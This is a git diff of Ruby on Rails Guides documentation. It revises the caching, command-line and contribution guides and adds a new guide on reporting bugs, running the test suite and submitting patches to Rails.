cache sweepers to expire cached objects when things change. This is covered in the section on Sweepers. -Note: Page caching ignores all parameters, so /products/list?page=1 will be written out to the filesystem as /products/list.html and if someone requests /products/list?page=2, they will be returned the same result as page=1, so be careful when page caching GET parameters in the URL! +Note: Page caching ignores all parameters, so /products/list?page=1 will be written out to the filesystem as /products/list.html and if someone requests /products/list?page=2, they will be returned the same result as page=1. Be careful when page caching GET parameters in the URL! h4. Action Caching -One of the issues with Page Caching is that you cannot use it for pages that -require to restrict access somehow. This is where Action Caching comes in. -Action Caching works like Page Caching except for the fact that the incoming -web request does go from the webserver to the Rails stack and Action Pack so -that before filters can be run on it before the cache is served, so that -authentication and other restrictions can be used while still serving the +One of the issues with page caching is that you cannot use it for pages that +require checking code to determine whether the user should be permitted access. This is where Action Caching comes in. +action caching works like page caching except for the fact that the incoming +web request does go from the web server to the Rails stack and Action Pack so +that before filters can be run on it before the cache is served. This allows you to use +authentication and other restrictions while still serving the result of the output from a cached copy. -Clearing the cache works in the exact same way as with Page Caching. +Clearing the cache works in the exact same way as with page caching. Let's say you only wanted authenticated users to edit or create a Product object, but still cache those pages: @@ -101,13 +106,13 @@ object, but still cache those pages: class ProductsController < ActionController before_filter :authenticate, :only => [ :edit, :create ] - caches_page :list + caches_page :index caches_action :edit - def list; end + def index; end def create - expire_page :action => :list + expire_page :action => :index expire_action :action => :edit end @@ -116,19 +121,19 @@ class ProductsController < ActionController end </ruby> -And you can also use +:if+ (or +:unless+) to pass a Proc that specifies when the +You can also use +:if+ (or +:unless+) to pass a Proc that specifies when the action should be cached. Also, you can use +:layout => false+ to cache without -layout so that dynamic information in the layout such as logged in user info +layout so that dynamic information in the layout such as the name of the logged-in user or the number of items in the cart can be left uncached. This feature is available as of Rails 2.2. You can modify the default action cache path by passing a +:cache_path+ option. -This will be passed directly to ActionCachePath.path_for. This is handy for +This will be passed directly to +ActionCachePath.path_for+. This is handy for actions with multiple possible routes that should be cached differently. If a block is given, it is called with the current controller instance. Finally, if you are using memcached, you can also pass +:expires_in+. In fact, -all parameters not used by caches_action are sent to the underlying cache +all parameters not used by +caches_action+ are sent to the underlying cache store. h4. Fragment Caching @@ -162,52 +167,56 @@ could use this piece of code: </ruby> The cache block in our example will bind to the action that called it and is -written out to the same place as the Action Cache, which means that if you +written out to the same place as the action cache, which means that if you want to cache multiple fragments per action, you should provide an +action_suffix+ to the cache call: <ruby> -<% cache(:action => 'recent', :action_suffix => 'all_products') do %> +<% cache(:action => 'recent', :action_suffix => 'all_prods') do %> All available products: </ruby> -and you can expire it using the +expire_fragment+ method, like so: +You can expire the cache using the +expire_fragment+ method, like so: <ruby> -expire_fragment(:controller => 'products', :action => 'recent', :action_suffix => 'all_products) +expire_fragment(:controller => 'products', :action => 'recent', + :action_suffix => 'all_prods) </ruby> -If you don't want the cache block to bind to the action that called it, You can -also use globally keyed fragments by calling the cache method with a key, like +If you don't want the cache block to bind to the action that called it, you can +also use globally keyed fragments. To do this, call the +cache+ method with a key, like so: <ruby> -<% cache(:key => ['all_available_products', @latest_product.created_at].join(':')) do %> +<% cache(:key => + ['all_available_products', @latest_product.created_at].join(':')) do %> All available products: <% end %> </ruby> -This fragment is then available to all actions in the ProductsController using +This fragment is then available to all actions in the +ProductsController+ using the key and can be expired the same way: <ruby> -expire_fragment(:key => ['all_available_products', @latest_product.created_at].join(':')) +expire_fragment(:key => + ['all_available_products', @latest_product.created_at].join(':')) </ruby> h4. Sweepers Cache sweeping is a mechanism which allows you to get around having a ton of -expire_{page,action,fragment} calls in your code by moving all the work -required to expire cached content into a +ActionController::Caching::Sweeper+ -class that is an Observer and looks for changes to an object via callbacks, -and when a change occurs it expires the caches associated with that object n ++expire_{page,action,fragment}+ calls in your code. It does this by moving all the work +required to expire cached content into na +ActionController::Caching::Sweeper+ +class. This class is an Observer that looks for changes to an object via callbacks, +and when a change occurs it expires the caches associated with that object in an around or after filter. Continuing with our Product controller example, we could rewrite it with a -sweeper such as the following: +sweeper like this: <ruby> class StoreSweeper < ActionController::Caching::Sweeper - observe Product # This sweeper is going to keep an eye on the Product model + # This sweeper is going to keep an eye on the Product model + observe Product # If our sweeper detects that a Product was created call this def after_create(product) @@ -230,13 +239,13 @@ class StoreSweeper < ActionController::Caching::Sweeper expire_page(:controller => '#{record}', :action => 'list') # Expire a fragment - expire_fragment(:controller => '#{record}', :action => 'recent', :action_suffix => 'all_products') + expire_fragment(:controller => '#{record}', + :action => 'recent', :action_suffix => 'all_products') end end </ruby> -Then we add it to our controller to tell it to call the sweeper when certain -actions are called. So, if we wanted to expire the cached content for the +The sweeper has to be added to the controller that will use it. So, if we wanted to expire the cached content for the list and edit actions when the create action was called, we could do the following: @@ -263,9 +272,9 @@ end h4. SQL Caching Query caching is a Rails feature that caches the result set returned by each -query so that if Rails encounters the same query again for that request, it +query. If Rails encounters the same query again during the current request, it will used the cached result set as opposed to running the query against the -database again. +database. For example: @@ -304,9 +313,9 @@ database again the second time that finder is called. Query caches are created at the start of an action and destroyed at the end of that action and thus persist only for the duration of the action. -h4. Cache stores +h4. Cache Stores -Rails (as of 2.1) provides different stores for the cached data for action and +Rails (as of 2.1) provides different stores for the cached data created by action and fragment caches. Page caches are always stored on disk. Rails 2.1 and above provide ActiveSupport::Cache::Store which can be used to @@ -314,7 +323,7 @@ cache strings. Some cache store implementations, like MemoryStore, are able to cache arbitrary Ruby objects, but don't count on every cache store to be able to do that. -The default cache stores provided include: +The default cache stores provided with Rails include: 1) ActiveSupport::Cache::MemoryStore: A cache store implementation which stores everything into memory in the same process. If you're running multiple Ruby on @@ -335,13 +344,12 @@ need thread-safety. ActionController::Base.cache_store = :memory_store </ruby> -2) ActiveSupport::Cache::FileStore: Cached data is stored on the disk, this is +2) ActiveSupport::Cache::FileStore: Cached data is stored on the disk. This is the default store and the default path for this store is: /tmp/cache. Works well for all types of environments and allows all processes running from the same application directory to access the cached content. If /tmp/cache does not exist, the default store becomes MemoryStore. - <ruby> ActionController::Base.cache_store = :file_store, "/path/to/cache/directory" </ruby> @@ -351,7 +359,6 @@ DRb process that all servers communicate with. This works for all environments and only keeps one cache around for all processes, but requires that you run and manage a separate DRb process. - <ruby> ActionController::Base.cache_store = :drb_store, "druby://localhost:9192" </ruby> @@ -361,27 +368,28 @@ Rails uses the bundled memcached-client gem by default. This is currently the most popular cache store for production websites. Special features: - * Clustering and load balancing. One can specify multiple memcached servers, + +* Clustering and load balancing. One can specify multiple memcached servers, and MemCacheStore will load balance between all available servers. If a server goes down, then MemCacheStore will ignore it until it goes back online. - * Time-based expiry support. See write and the +:expires_in+ option. - * Per-request in memory cache for all communication with the MemCache server(s). +* Time-based expiry support. See +write+ and the +:expires_in+ option. +* Per-request in memory cache for all communication with the MemCache server(s). It also accepts a hash of additional options: - * +:namespace+- specifies a string that will automatically be prepended to keys when accessing the memcached store. - * +:readonly+- a boolean value that when set to true will make the store read-only, with an error raised on any attempt to write. - * +:multithread+ - a boolean value that adds thread safety to read/write operations - it is unlikely you'll need to use this option as the Rails threadsafe! method offers the same functionality. +* +:namespace+- specifies a string that will automatically be prepended to keys when accessing the memcached store. +* +:readonly+- a boolean value that when set to true will make the store read-only, with an error raised on any attempt to write. +* +:multithread+ - a boolean value that adds thread safety to read/write operations - it is unlikely you'll need to use this option as the Rails threadsafe! method offers the same functionality. The read and write methods of the MemCacheStore accept an options hash too. When reading you can specify +:raw => true+ to prevent the object being marshaled (by default this is false which means the raw value in the cache is passed to -Marshal.load before being returned to you.) ++Marshal.load+ before being returned to you.) -When writing to the cache it is also possible to specify +:raw => true+ means -the value is not passed to Marshal.dump before being stored in the cache (by +When writing to the cache it is also possible to specify +:raw => true+. This means +that the value is not passed to +Marshal.dump+ before being stored in the cache (by default this is false). The write method also accepts an +:unless_exist+ flag which determines whether @@ -416,11 +424,11 @@ ActionController::Base.cache_store = :compressed_mem_cache_store, "localhost" ActionController::Base.cache_store = MyOwnStore.new("parameter") </ruby> -+Note: config.cache_store can be used in place of -ActionController::Base.cache_store in your Rails::Initializer.run block in -environment.rb+ +NOTE: +config.cache_store+ can be used in place of ++ActionController::Base.cache_store+ in the +Rails::Initializer.run+ block in +environment.rb. -In addition to all of this, Rails also adds the ActiveRecord::Base#cache_key +In addition to all of this, Rails also adds the +ActiveRecord::Base#cache_key+ method that generates a key using the class name, id and updated_at timestamp (if available). @@ -432,9 +440,9 @@ Rails.cache.write("city", "Duckburgh") Rails.cache.read("city") # => "Duckburgh" </ruby> -h3. Conditional GET support +h3. Conditional GET Support -Conditional GETs are a facility of the HTTP spec that provide a way for web +Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache. diff --git a/railties/guides/source/command_line.textile b/railties/guides/source/command_line.textile index 078eefd9df..d042458419 100644 --- a/railties/guides/source/command_line.textile +++ b/railties/guides/source/command_line.textile @@ -24,7 +24,7 @@ There are a few commands that are absolutely critical to your everyday usage of Let's create a simple Rails application to step through each of these commands in context. -h4. rails +h4. +rails+ The first thing we'll want to do is create a new Rails application by running the +rails+ command after installing Rails. @@ -48,7 +48,7 @@ Rails will set you up with what seems like a huge amount of stuff for such a tin INFO: This output will seem very familiar when we get to the +generate+ command. Creepy foreshadowing! -h4. server +h4. +server+ Let's try it! The +server+ command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to view your work through a web browser. @@ -71,7 +71,7 @@ WHOA. With just three commands we whipped up a Rails server listening on port 30 See? Cool! It doesn't do much yet, but we'll change that. -h4. generate +h4. +generate+ The +generate+ command uses templates to create a whole lot of things. You can always find out what's available by running +generate+ by itself. Let's do that: @@ -248,15 +248,15 @@ Let's see the interface Rails created for us. ./script/server; http://localhost: We can create new high scores (55,160 on Space Invaders!) -h4. console +h4. +console+ The +console+ command lets you interact with your Rails application from the command line. On the underside, +script/console+ uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website. -h4. dbconsole +h4. +dbconsole+ +dbconsole+ figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3. -h4. plugin +h4. +plugin+ The +plugin+ command simplifies plugin management; think a miniature version of the Gem utility. Let's walk through installing a plugin. You can call the sub-command *discover*, which sifts through repositories looking for plugins, or call *source* to add a specific repository of plugins, or you can specify the plugin location directly. @@ -272,7 +272,7 @@ $ ./script/plugin install http://svn.techno-weenie.net/projects/plugins/acts_as_ ... </shell> -h4. runner +h4. +runner+ <tt>runner</tt> runs Ruby code in the context of Rails non-interactively. For instance: @@ -280,7 +280,7 @@ h4. runner $ ./script/runner "Model.long_running_method" </shell> -h4. destroy +h4. +destroy+ Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it. Believe you-me, the creation of this tutorial used this command many times! @@ -309,7 +309,7 @@ $ ./script/destroy model Oops notempty app </shell> -h4. about +h4. +about+ Check it: Version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version! +about+ is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation. @@ -335,7 +335,7 @@ h3. The Rails Advanced Command Line The more advanced uses of the command line are focused around finding useful (even surprising at times) options in the utilities, and fitting utilities to your needs and specific work flow. Listed here are some tricks up Rails' sleeve. -h4. Rails with databases and SCM +h4. Rails with Databases and SCM When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes. @@ -393,7 +393,7 @@ development: It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the +rails+ command to generate the basis of your app. -h4. server with different backends +h4. +server+ with Different Backends Many people have created a large number different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!). @@ -534,25 +534,25 @@ rake tmp:sockets:clear # Clears all files in tmp/sockets Let's take a look at some of these 80 or so rake tasks. -h5. db: Database +h5. +db:+ Database The most common tasks of the +db:+ Rake namespace are +migrate+ and +create+, and it will pay off to try out all of the migration rake tasks (+up+, +down+, +redo+, +reset+). +rake db:version+ is useful when troubleshooting, telling you the current version of the database. -h5. doc: Documentation +h5. +doc:+ Documentation If you want to strip out or rebuild any of the Rails documentation (including this guide!), the +doc:+ namespace has the tools. Stripping documentation is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform. -h5. gems: Ruby gems +h5. +gems:+ Ruby gems You can specify which gems your application uses, and +rake gems:install+ will install them for you. Look at your environment.rb to learn how with the *config.gem* directive. NOTE: +gems:unpack+ will unpack, that is internalize your application's Gem dependencies by copying the Gem code into your vendor/gems directory. By doing this you increase your codebase size, but simplify installation on new hosts by eliminating the need to run +rake gems:install+, or finding and installing the gems your application uses. -h5. notes: Code note enumeration +h5. +notes:+ Code note enumeration These tasks will search through your code for commented lines beginning with "FIXME", "OPTIMIZE", "TODO", or any custom annotation (like XXX) and show you them. -h5. rails: Rails-specific tasks +h5. +rails:+ Rails-specific tasks In addition to the +gems:unpack+ task above, you can also unpack the Rails backend specific gems into vendor/rails by calling +rake rails:freeze:gems+, to unpack the version of Rails you are currently using, or +rake rails:freeze:edge+ to unpack the most recent (cutting, bleeding edge) version. @@ -560,7 +560,7 @@ When you have frozen the Rails gems, Rails will prefer to use the code in vendor After upgrading Rails, it is useful to run +rails:update+, which will update your config and scripts directories, and upgrade your Rails-specific javascript (like Scriptaculous). -h5. test: Rails tests +h5. +test:+ Rails tests INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html @@ -568,15 +568,15 @@ Rails comes with a test suite called Test::Unit. It is through the use of tests The +test:+ namespace helps in running the different tests you will (hopefully!) write. -h5. time: Timezones +h5. +time:+ Timezones You can list all the timezones Rails knows about with +rake time:zones:all+, which is useful just in day-to-day life. -h5. tmp: Temporary files +h5. +tmp:+ Temporary files The tmp directory is, like in the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. The +tmp:+ namespace tasks will help you clear them if you need to if they've become overgrown, or create them in case of an +rm -rf *+ gone awry. -h5. Miscellaneous tasks +h5. Miscellaneous Tasks +rake stats+ is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio. @@ -584,3 +584,6 @@ h5. Miscellaneous tasks +rake routes+ will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with. +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/29 diff --git a/railties/guides/source/contribute.textile b/railties/guides/source/contribute.textile index 48f1a51d02..650004bd09 100644 --- a/railties/guides/source/contribute.textile +++ b/railties/guides/source/contribute.textile @@ -7,12 +7,12 @@ endprologue. h3. How to Contribute? * We have an open commit policy: anyone is welcome to contribute, but you'll need to ask for commit access. -* PM lifo at "GitHub":http://github.om asking for "docrails":http://github.com/lifo/docrails commit access. +* PM lifo at "GitHub":http://github.com asking for "docrails":http://github.com/lifo/docrails/tree/master commit access. * Guides are written in Textile, and reside at railties/guides/source in the docrails project. * All images are in the railties/guides/images directory. * Sample format : "Active Record Associations":http://github.com/lifo/docrails/blob/3e56a3832415476fdd1cb963980d0ae390ac1ed3/railties/guides/source/association_basics.textile * Sample output : "Active Record Associations":http://guides.rails.info/association_basics.html -* You can build the Guides during testing by running railties/guides/rails_guides.rb. +* You can build the Guides during testing by running +rake guides+ in the +railties+ directory. h3. What to Contribute? @@ -44,26 +44,21 @@ For each completed guide, the lead contributor will receive all of the following h3. Rules -* Guides are licensed under a Creative Commons Attribution-Noncommercial-Share Alike 3.0 License. +* Guides are licensed under a Creative Commons Attribution-Share Alike 3.0 License. * If you're not sure whether a guide is actively being worked on, stop by IRC and ask. * If the same guide writer wants to write multiple guides, that's ideally the situation we'd love to be in! However, that guide writer will only receive the cash prize for all the subsequent guides (and not the GitHub or RPM prizes). * Our review team will have the final say on whether the guide is complete and of good enough quality. -h3. Reviewers - -These are the main reviewers and editors for the guides: - -* Hongli Lai -* Mike Gunderloy -* Pratik Naik -* Xavier Noria - All authors should read and follow the "Rails Guides Conventions":http://wiki.github.com/lifo/docrails/rails-guides-conventions and the "Rails API Documentation Conventions":http://wiki.github.com/lifo/docrails/rails-api-documentation-conventions. h3. Translations The translation effort for the Rails Guides is just getting underway. We know about projects to translate the Guides into Spanish, Portuguese, Polish, and French. For more details or to get involved see the "Translating Rails Guides":http://wiki.github.com/lifo/docrails/translating-rails-guides page. +h3. Mailing List + +"Ruby on Rails: Documentation":http://groups.google.com/group/rubyonrails-docs is the mailing list for all the guides/documentation related discussions. + h3. IRC Channel ==#docrails @ irc.freenode.net== @@ -72,6 +67,5 @@ h3. Contact If you have any questions or need any clarification, feel free to contact: -* IRC : lifo, mikeg1a, fxn, or FooBarWidget in #docrails +* IRC : lifo, mikeg1a or fxn in #docrails * Email : pratiknaik aT gmail - diff --git a/railties/guides/source/contributing_to_rails.textile b/railties/guides/source/contributing_to_rails.textile new file mode 100644 index 0000000000..84778ed9ee --- /dev/null +++ b/railties/guides/source/contributing_to_rails.textile @@ -0,0 +1,239 @@ +h2. Contributing to Rails + +This guide covers ways in which _you_ can become a part of the ongoing development of Rails. After reading it, you should be familiar with: + +* Using Lighthouse to report issues with Rails +* Cloning edge Rails and running the test suite +* Helping to resolve existing issues +* Contributing to the Rails documentation +* Contributing to the Rails code + +Rails is not "someone else's framework." Over the years, hundreds of people have contributed code ranging from a single character to massive architectural changes, all with the goal of making Rails better for everyone. Even if you don't feel up to writing code yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches to contributing documentation. + +endprologue. + +h3. Reporting a Rails Issue + +Rails uses a "Lighthouse project":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/ to track issues (primarily bugs and contributions of new code). If you've found a bug in Rails, this is the place to start. + +NOTE: Bugs in the most recent released version of Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this Guide you'll find out how to get edge Rails for testing. + +h4. Creating a Bug Report + +If you've found a problem in Rails, you can start by "adding a new ticket":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/new to the Rails Lighthouse. At the minimum, your ticket needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need to at least post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to replicate the bug and figure out a fix. + +You shouldn't assign the bug to a particular core developer (through the *Who's Responsible* select list) unless you know for sure which developer will be handling any patch. The core team periodically reviews issues and assigns developers and milestones to them. + +You should set tags for your issue. Use the "bug" tag for a bug report, and add the "patch" tag if you are attaching a patch. Try to find some relevant tags from the existing tag list (which will appear as soon as you start typing in the *Choose some tags* textbox), rather than creating new tags. + +Then don't get your hopes up. Unless you have a "Code Red, Mission Critical, The World is Coming to an End" kind of bug, you're creating this ticket in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the ticket automatically will see any activity or that others will jump to fix it. Creating a ticket like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with a "I'm having this problem too" comment. + +h4. Special Treatment for Security Issues + +If you've found a security vulnerability in Rails, please do *not* report it via a Lighthouse ticket. Lighthouse tickets are public as soon as they are entered. Instead, you should use the dedicated email address "security@rubyonrails.org":mailto:security@rubyonrails.org to report any vulnerabilities. This alias is monitored and the core team will work with you to quickly and completely address any such vulnerabilities. + +h4. What About Feature Requests? + +Please don't put "feature request" tickets into Lighthouse. If there's a new feature that you want to see added to Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Rails. If you enter a wishlist item in Lighthouse with no code, you can expect it to be marked "invalid" as soon as it's reviewed. + +h3. Running the Rails Test Suite + +To move on from submitting bugs to helping resolve existing issues or contributing your own code to Rails, you _must_ be able to run the Rails test suite. In this section of the guide you'll learn how to set up the tests on your own computer. + +h4. Install git + +Rails uses git for source code control. You won’t be able to do anything without the Rails source code, and this is a prerequisite. The "git homepage":http://git-scm.com/ has installation instructions. If you’re on OS X, use the "Git for OS X":http://code.google.com/p/git-osx-installer/ installer. If you're unfamiliar with git, there are a variety of resources on the net that will help you learn more: + +* "Everyday Git":http://www.kernel.org/pub/software/scm/git/docs/everyday.html will teach you just enough about git to get by. +* The "PeepCode screencast":https://peepcode.com/products/git on git ($9) is easier to follow. +* "GitHub":http://github.com/guides/home offers links to a variety of git resources. + +h4. Get the Rails Source Code + +Don’t fork the main Rails repository. Instead, you want to clone it to your own computer. Navigate to the folder where you want the source code (it will create its own /rails subdirectory) and run: + +<shell> +git clone git://github.com/rails/rails.git +cd rails +</shell> + +h4. Set up and Run the Tests + +All of the Rails tests must pass with any code you submit, otherwise you have no chance of getting code accepted. This means you need to be able to run the tests. For the tests that touch the database, this means creating the databases. If you're using MySQL: + +<shell> +mysql> create database activerecord_unittest; +mysql> create database activerecord_unittest2; +mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.* + to 'rails'@'localhost'; +mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.* + to 'rails'@'localhost'; +</shell> + +If you’re using another database, check the files under +activerecord/test/connections+ in the Rails source code for default connection information. You can edit these files if you _must_ on your machine to provide different credentials, but obviously you should not push any such changes back to Rails. + +Now if you go back to the root of the Rails source on your machine and run +rake+ with no parameters, you should see every test in all of the Rails components pass. If you want to run the all ActiveRecord tests (or just a single one) with another database adapter, enter this from the +activerecord+ directory: + +<shell> +rake test_sqlite3 +rake test_sqlite3 TEST=test/cases/validations_test.rb +</shell> + +You can change +sqlite3+ with +jdbcmysql+, +jdbcsqlite3+, +jdbcpostgresql+, +mysql+ or +postgresql+. Check out the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/ci_build.rb+ to see the test suite that the Rails continuous integration server runs. + + + +NOTE: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, SQLite 2, and SQLite 3. Subtle differences between the various Active Record database adapters have been behind the rejection of many patches that looked OK when tested only against MySQL. + +h3. Helping to Resolve Existing Issues + +As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "open tickets":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets?q=state%3Aopen list in Lighthouse, you'll find hundreds of issues already requiring attention. What can you do for these? Quite a bit, actually: + +h4. Verifying Bug Reports + +For starters, it helps to just verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the ticket saying that you're seeing the same thing. + +If something is very vague, can you help squish it down into something specific? Maybe you can provide additional information to help reproduce a bug, or eliminate needless steps that aren't required to help demonstrate the problem. + +If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the Rails source: looking at the existing test files will teach you how to write more tests for Rails. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section. + +Anything you can do to make bug reports more succinct or easier to reproduce is a help to folks trying to write code to fix those bugs - whether you end up writing the code yourself or not. + +h4. Testing Patches + +You can also help out by examining patches that have been submitted to Rails via Lighthouse. To apply someone's changes you need to first create a branch of the Rails source code: + +<shell> +git checkout -b testing_branch +</shell> + +Then you can apply their patch: + +<shell> +git am < their-patch-file.diff +</shell> + +After applying a patch, test it out! Here are some things to think about: + +* Does the patch actually work? +* Are you happy with the tests? Can you follow what they're testing? Are there any tests missing? +* Does the documentation still seem right to you? +* Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change? + +Once you're happy that the patch contains a good change, comment on the Lighthouse ticket indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like: + +<blockquote> +I like the way you've restructured that code in generate_finder_sql, much nicer. The tests look good too. +</blockquote> + +If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the patch. Once three people have approved it, add the "verified" tag. This will bring it to the attention of a core team member who will review the changes looking for the same kinds of things. + +h3. Contributing to the Rails Documentation + +Another area where you can help out if you're not yet ready to take the plunge to writing Rails core code is with Rails documentation. You can help with the Rails Guides or the Rails API documentation. + +TIP: "docrails":http://github.com/lifo/docrails/tree/master is the documentation branch for Rails with an *open commit policy*. You can simply PM "lifo":http://github.com/lifo on Github and ask for the commit rights. Documentation changes made as part of the "docrails":http://github.com/lifo/docrails/tree/master project, are merged back to the Rails master code from time to time. Check out the "original announcement":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch for more details. + +h4. The Rails Guides + +The "Rails Guides":http://guides.rubyonrails.org/ are a set of online resources that are designed to make people productive with Rails and to understand how all of the pieces fit together. These guides (including this one!) are written as part of the "docrails":http://github.com/lifo/docrails/tree/master project. If you have an idea for a new guide, or improvements for an existing guide, you can refer to the "contribution page":contribute.html for instructions on getting involved. + +h4. The Rails API Documentation + +The "Rails API documentation":http://api.rubyonrails.org/ is automatically generated from the Rails source code via "RDoc":http://rdoc.rubyforge.org/. If you find some part of the documentation to be incomplete, confusing, or just plain wrong, you can step in and fix it. + +To contribute an update to the API documentation, you can contact "lifo":http://github.com/lifo on GitHub and ask for commit rights to the docrails repository and push your changes to the docrails repository. Please follow the "docrails RDoc conventions":http://wiki.github.com/lifo/docrails/rails-api-documentation-conventions when contributing the changes. + +h3. The Rails Wiki + +The "Rails wiki":http://wiki.rubyonrails.org/ is a collection of user-generated and freely-editable information about Rails. It covers everything from getting started to FAQs to how-tos and popular plugins. To contribute to the wiki, just find some useful information that isn't there already and add it. There are style guidelines to help keep the wiki a coherent resources; see the section on "contributing to the wiki":http://wiki.rubyonrails.org/#contributing_to_the_wiki for more details. + +h3. Contributing to the Rails Code + +When you're ready to take the plunge, one of the most helpful ways to contribute to Rails is to actually submit source code. Here's a step-by-step listing of the things you need to do to make this a successful experience. + +h4. Learn the Language and the Framework + +Learn at least _something_ about Ruby and Rails. If you don’t understand the syntax of the language, common Ruby idioms, and the code that already exists in Rails, you’re unlikely to be able to build a good patch (that is, one that will get accepted). You don’t have to know every in-and-out of the language and the framework; some of the Rails code is fiendishly complex. But Rails is probably not appropriate as the first place that you ever write Ruby code. You should at least understand (though not necessarily memorize) "The Ruby Programming Language":http://www.amazon.com/gp/product/0596516177?ie=UTF8&linkCode=as2&camp=1789&creative=390957&creativeASIN=0596516177 and have browsed the Rails source code. + +h4. Fork the Rails Source Code + +Fork Rails. You’re not going to put your patches right into the master branch, OK? This is where you need that copy of Rails that you cloned earlier. Think of a name for your new branch and run + +<shell> +git checkout -b my_new_branch +</shell> + +It doesn’t really matter what name you use, because this branch will only exist on your local computer. + +h4. Write Your Code + +Now get busy and add your code to Rails (or edit the existing code). You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with +git branch -a+). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind: + +* Get the code right +* Use Rails idioms and helpers +* Include tests that fail without your code, and pass with it +* Update the documentation + +h4. Sanity Check + +You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either. + +h4. Commit Your Changes + +When you're happy with the code on your computer, you need to commit the changes to git: + +<shell> +git commit -a -m "Here is a commit message" +</shell> + +h4. Update Rails + +Update your copy of Rails. It’s pretty likely that other changes to core Rails have happened while you were working. Go get them: + +<shell> +git checkout master +git pull +</shell> + +Now reapply your patch on top of the latest changes: + +<shell> +git checkout my_new_branch +git rebase master +</shell> + +No conflicts? Tests still pass? Change still seems reasonable to you? Then move on. + +h4. Create a Patch + +Now you can create a patch file to share with other developers (and with the Rails core team). Still in your branch, run + +<shell> +git commit -a +git format-patch master --stdout > my_new_patch.diff +</shell> + +Sanity check the results of this operation: open the diff file in your text editor of choice and make sure that no unintended changes crept in. + +h4. Create a Lighthouse Ticket + +Now create a ticket with your patch. Go to the "new ticket":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/new page at Lighthouse. Fill in a reasonable title and description, remember to attach your patch file, and tag the ticket with the ‘patch’ tag and whatever other subject area tags make sense. + +h4. Get Some Feedback + +Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the rubyonrails-core mailing list or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know. + +h4. Iterate as Necessary + +It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a plugin. + +And then...think about your next contribution! + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/64 + +* March 2, 2009: Initial draft by "Mike Gunderloy":credits.html#mgunderloy + + diff --git a/railties/guides/source/credits.erb.textile b/railties/guides/source/credits.erb.textile index 441ea60ffe..b09a931fd6 100644 --- a/railties/guides/source/credits.erb.textile +++ b/railties/guides/source/credits.erb.textile @@ -5,6 +5,28 @@ p. We'd like to thank the following people for their tireless contributions to t <% end %> +<h3 class="section">Rails Documentation Team</h3> + +<% author('Mike Gunderloy', 'mgunderloy') do %> + Mike Gunderloy is a consultant with "ActionRails":http://www.actionrails.com and also a member of the "Rails activism team":http://rubyonrails.org/activists . He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at "A Fresh Cup":http://afreshcup.com and he "twitters":http://twitter.com/MikeG1 too much. +<% end %> + +<% author('Pratik Naik', 'lifo') do %> + Pratik Naik is a Ruby on Rails consultant with "ActionRails":http://www.actionrails.com and also a member of the 